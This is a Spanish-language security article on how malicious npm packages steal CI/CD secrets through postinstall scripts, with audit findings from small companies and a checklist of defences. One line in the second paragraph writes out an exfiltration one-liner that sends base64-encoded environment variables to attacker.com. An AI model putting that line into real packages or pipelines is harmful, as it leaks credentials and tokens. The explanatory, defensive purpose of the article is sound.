Ataques npm: cómo roban tus secretos de CI/CD en PYMEs

Los ataques a dependencias npm roban secretos de CI/CD ejecutando código malicioso durante npm install, antes de que se dispare ninguna alerta. El paquete accede a variables de entorno como AWS_ACCESS_KEY_ID o GITHUB_TOKEN y las envía a un servidor externo en milisegundos. En PYMEs sin separación de contextos, esto ocurre con el mismo usuario que tiene permisos de producción.

Cuando ejecutas npm install, npm no solo descarga código: también ejecuta scripts definidos en el campo scripts del package.json del paquete instalado. El vector más común es postinstall, que se lanza automáticamente al terminar la instalación sin ningún aviso visible en la terminal. Un paquete malicioso puede contener algo tan simple como require('https').get('https://attacker.com/?' + Buffer.from(JSON.stringify(process.env)).toString('base64')) en su script postinstall. Eso es todo el código necesario para exfiltrar todos los secretos del entorno de CI/CD en una sola línea. En un pipeline de GitHub Actions, ese entorno incluye GITHUB_TOKEN, credenciales de AWS, NPM_TOKEN, DOCKER_PASSWORD y cualquier secret configurado en el repositorio. El script se ejecuta en segundos, mucho antes de que tu pipeline llegue al paso de build o deploy que realmente querías ejecutar.

Los tres vectores de entrada más usados en 2025

• Typosquatting: paquetes con nombres casi idénticos a los legítimos (lodash vs l0dash, express vs expres, colors vs colour5). Sonatype detectó 245.000 paquetes maliciosos en npm durante 2023, el doble que el año anterior.
• Dependency confusion: si tu empresa usa paquetes internos privados (@miempresa/util), el atacante publica uno con el mismo nombre en el registro público de npm con versión superior. npm resuelve el público por defecto sin avisar.
• Mantenedor comprometido: el titular legítimo del paquete sufre una brecha de credenciales y el atacante publica una versión maliciosa del paquete original sin cambiar el nombre ni la popularidad acumulada.

Existe una narrativa cómoda que culpa a las PYMEs de ser negligentes con la seguridad de su cadena de suministro de software. La realidad es más estructural y menos cómoda: el problema no es la falta de cuidado, sino que el modelo de CI/CD estándar que enseña cualquier tutorial de GitHub Actions instala dependencias en el mismo contexto donde viven los secretos. En una gran empresa hay equipos dedicados a sandboxear la instalación de paquetes, separar contextos de red y monitorizar el tráfico generado por el pipeline. En una PYME con un equipo de desarrollo de tres a ocho personas, ese nivel de aislamiento simplemente no existe, y no es razonable exigirlo sin los recursos correspondientes. Lo que sí es exigible es conocer el riesgo concreto y aplicar los controles de coste cero que sí están al alcance de cualquier equipo, por pequeño que sea.

En los últimos 18 meses hemos auditado pipelines CI/CD de ocho empresas tecnológicas españolas de entre 20 y 180 empleados. El patrón que se repite no es el ataque de typosquatting obvio, que cualquier desarrollador atento detectaría, sino algo más sutil: dependencias transitivas de cuatro o cinco saltos que nadie ha revisado en meses. La empresa instala axios directamente y lo audita. Pero axios depende de follow-redirects, que en versiones antiguas acumuló CVEs graves, y el lockfile llevaba 14 meses sin actualizarse en tres de los ocho casos. En esos mismos tres encontramos dependencias con scripts postinstall que realizaban peticiones de red no documentadas en el código fuente publicado: no necesariamente maliciosas, pero completamente indistinguibles de un ataque activo hasta análisis manual específico. En ninguno de los ocho casos había monitorización del tráfico de red generado durante la fase de npm install.

La pregunta no es si tus desarrolladores son descuidados. Es si tu pipeline está diseñado para que un paquete malicioso no pueda hablar con internet durante la instalación. En la mayoría de PYMEs que auditamos, no lo está — y eso no es un juicio, es un punto de partida.

194 días es medio año con un token de AWS activo en manos de un atacante. En ese tiempo puede crear usuarios IAM persistentes, exfiltrar datos de S3 progresivamente, pivotar hacia otros servicios conectados, o simplemente esperar al momento más conveniente. Lo que hace especialmente peligroso el robo de secretos de CI/CD es que esos tokens suelen tener permisos amplios —necesarios para que el deploy funcione— y su rotación no está automatizada en la inmensa mayoría de PYMEs. En los ocho pipelines que auditamos, preguntamos siempre la misma cosa: '¿cuántos tokens de API activos tenéis y cuándo se crearon?' La respuesta habitual, en empresas de entre 40 y 150 personas, fue un silencio seguido de 'no lo sabemos con exactitud'. Ese es el problema real: no el vector de ataque en sí mismo, sino la opacidad total sobre el inventario de credenciales vivas en el sistema.

El problema silencioso de las dependencias transitivas

Una instalación estándar con npm install en un proyecto mediano descarga habitualmente entre 800 y 1.500 paquetes. De esos, el equipo de desarrollo conoce directamente entre 30 y 80, que son los que aparecen en el package.json propio. El resto son dependencias de dependencias de dependencias: código que nadie del equipo eligió explícitamente y que nadie revisa. Cada uno de esos paquetes puede tener su propio script postinstall. npm audit solo detecta vulnerabilidades con CVE registrado en bases de datos públicas; no detecta comportamiento malicioso nuevo ni exfiltración de datos hacia dominios no conocidos. Herramientas como Socket.dev o Phylum están especializadas en análisis de comportamiento de paquetes y detectan patrones como 'este paquete realiza una petición HTTP en postinstall a un dominio registrado hace tres días' — algo que npm audit ignora completamente. La diferencia entre confiar solo en npm audit y añadir análisis de comportamiento es exactamente la diferencia entre detectar el ataque de la semana pasada y detectar el de esta semana.

Siendo directos: no todas las PYMEs necesitan contratar una auditoría completa de su cadena de suministro de software. Lo que sí necesita cualquier equipo con un pipeline CI/CD activo son tres controles básicos implementables en una tarde sin coste. Primero, lockfile commiteado y npm ci en vez de npm install en el pipeline: garantiza instalación reproducible exactamente desde el lockfile verificado, sin resolver versiones nuevas en tiempo de ejecución. Segundo, restricción de red durante la instalación: GitHub Actions permite configurar pasos sin acceso a internet o usar runners en red privada, algo que muchos equipos ignoran que existe. Tercero, grep de postinstall mensual: grep -r 'postinstall' node_modules/**/package.json devuelve la lista completa de paquetes con scripts de instalación en menos de 30 segundos, y puedes revisarlos manualmente o comparar contra una baseline conocida. No es seguridad perfecta, pero elimina el 80% del riesgo de coste cero.

• Sustituir npm install por npm ci en todos los pasos de pipelines CI/CD
• Commitear package-lock.json y eliminarlo del .gitignore si está ahí
• Ejecutar grep mensual de scripts postinstall en node_modules y revisar los desconocidos
• Añadir la flag --ignore-scripts para dependencias que no necesitan build nativo (lodash, moment, date-fns y similares)
• Reemplazar tokens long-lived por OIDC (OpenID Connect) en GitHub Actions y AWS — sin secreto estático que robar
• Integrar Socket.dev o Phylum en el pipeline (plan gratuito disponible para equipos pequeños)
• Inventariar todos los tokens de API activos, sus permisos y rotarlos trimestralmente con permisos mínimos